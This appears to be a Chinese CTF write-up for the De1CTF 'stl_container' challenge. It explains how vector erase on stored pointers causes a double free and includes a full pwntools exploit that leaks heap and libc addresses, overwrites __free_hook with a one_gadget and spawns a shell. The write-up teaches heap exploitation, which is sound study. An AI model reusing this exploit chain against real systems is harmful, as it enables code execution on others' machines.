迟来的de1ctf stl解析

先来了解一点,在STL容器里面,如果在容器里的内容是一个指针,那么在将其删除的时候,就会调用其自身的析构函数,而指针的析构函数又什么都不会做。造成的结果就是指针指向的内容不会被释放。

以下全是俺胡乱分析的,没看过底层源码,没分析过内存管理(毕竟宁看题目源码能看出个屁)

👴怀疑,在new操作,然后push_back的时候,这玩意儿进行了两步实现这个功能。

第一步就是先⛏一个堆块,把你的data保存在里面

第二步才是所谓的push_back,俺以为的就是把这个copy过去,再delete了第一步产生的堆块

这也就解释了,为什么IDA里面进行new的时候,会出现调用析构函数的情况(大概)

好了,上面的不大重要。俺们来分析分析漏洞出现的原因。

De1的源码里调用的是erase函数,那俺们就来康康erase函数的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
iterator erase(iterator position) {
if (position + 1 != end())
copy(position + 1, finish, position);//将[position+1,finish)向前移动一个单位
--finish;
destroy(finish);//析构最后一个元素
return position;//返回擦除位置的迭代器
}
iterator erase(iterator first, iterator last) {//擦除一段元素
iterator i = copy(last, finish, first);//将[last,finish)向前移动last-first个单位
destroy(i, finish);//析构i到finish之间的元素,但是还可以用
finish = finish - (last - first);//更新finish
return first;
}

分析前,先提提vector,能够对vector内的任意位置元素进行插入和删除操作。

vector的底层管理是这样的,先是存在一块内存,里面存储着vector当前的size大小 (begin和end两处指针) 以及最大的size大小,也是指针。跟进begin指针,里面就是vector储存的内容了。

而我们这题,vector的内容储存的是指针,这就出现一丢丢问题了。主要观察源码里面的destroy()这块地方,它是析构的最后一个元素,当我们进行free (0)的时候,虽然vector也还是会进行删除操作,将数据整体往前移,当然,这里也是本题漏洞点之一,不过先留到下面讲。我们也说了,虽然进行了删除操作,但是实际上底层对其进行的析构还是对于最后一个元素的,也就是第二个的指针,对其进行析构。所以才会出现free(0)

的情况,实际上被放入bin的是1。

上面是第一个原因,接下来是第二处。

vector容器对于删除某一处内存后,会进行copy操作,将该处内存到final的内容整体往前copy。因为是指针,所以第二个的指针就被copy到第一个,此时free(0)也就刚好是再次将其析构。这样就构成了我们所测试出的double free的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level='debug'
sh = process('./stl_container')
#sh = remote('134.175.239.26',8848)
elf = ELF('stl_container')
libc = ELF('libc-2.27.so')

def add(container,content):
sh.sendlineafter('>>',str(container))
sh.sendlineafter('>>','1')
sh.sendlineafter('data:',str(content))

def delete(container,index):
sh.sendlineafter('>>',str(container))
sh.sendlineafter('>>','2')
sh.sendlineafter('index',str(index))

def show(container,index):
sh.sendlineafter('>>',str(container))
sh.sendlineafter('>>','3')
sh.sendlineafter('index',str(index))

def z():
gdb.attach(sh)


add(2,'a')
add(2,'b')
#add
delete(2,0)
z()
delete(2,0)
#z()

#show(2,1)
#add(2,'a')
############ leak ######################
show(2,0)
sh.recvuntil('\n')
heap_base = u64(sh.recvuntil('\n')[-7:-1].ljust(8,'\x00')) - 0x124B0
print hex(heap_base)
add(1,'0')
add(1,'1')
add(2,'1')
add(3,'0')
add(3,'1')
add(4,'0')
add(4,'1')
delete(1,0)
delete(1,0)
#delete 3
sh.sendlineafter('>>','3')
sh.sendlineafter('>>','2')
sh.sendlineafter('>>','3')
sh.sendlineafter('>>','2')
#delete 4
sh.sendlineafter('>>','4')
sh.sendlineafter('>>','2')
sh.sendlineafter('>>','4')
sh.sendlineafter('>>','2')

delete(2,0)
show(2,0)
libc_base = u64(sh.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x60 -0x10 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
one = libc_base + 0x4f322

add(1,'0')
add(1,'1')
add(2,'1')
add(3,'0')
add(3,'1')
add(4,'0')
add(4,'1')
delete(2,0)
delete(2,0)
add(2,p64(free_hook))
add(2,p64(one))

sh.interactive()

本文标题:迟来的de1ctf stl解析

文章作者:zhz

发布时间:2020年05月12日 - 08:05

最后更新:2020年05月12日 - 11:05

原始链接:http://yoursite.com/2020/05/12/迟来的de1ctf-stl解析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。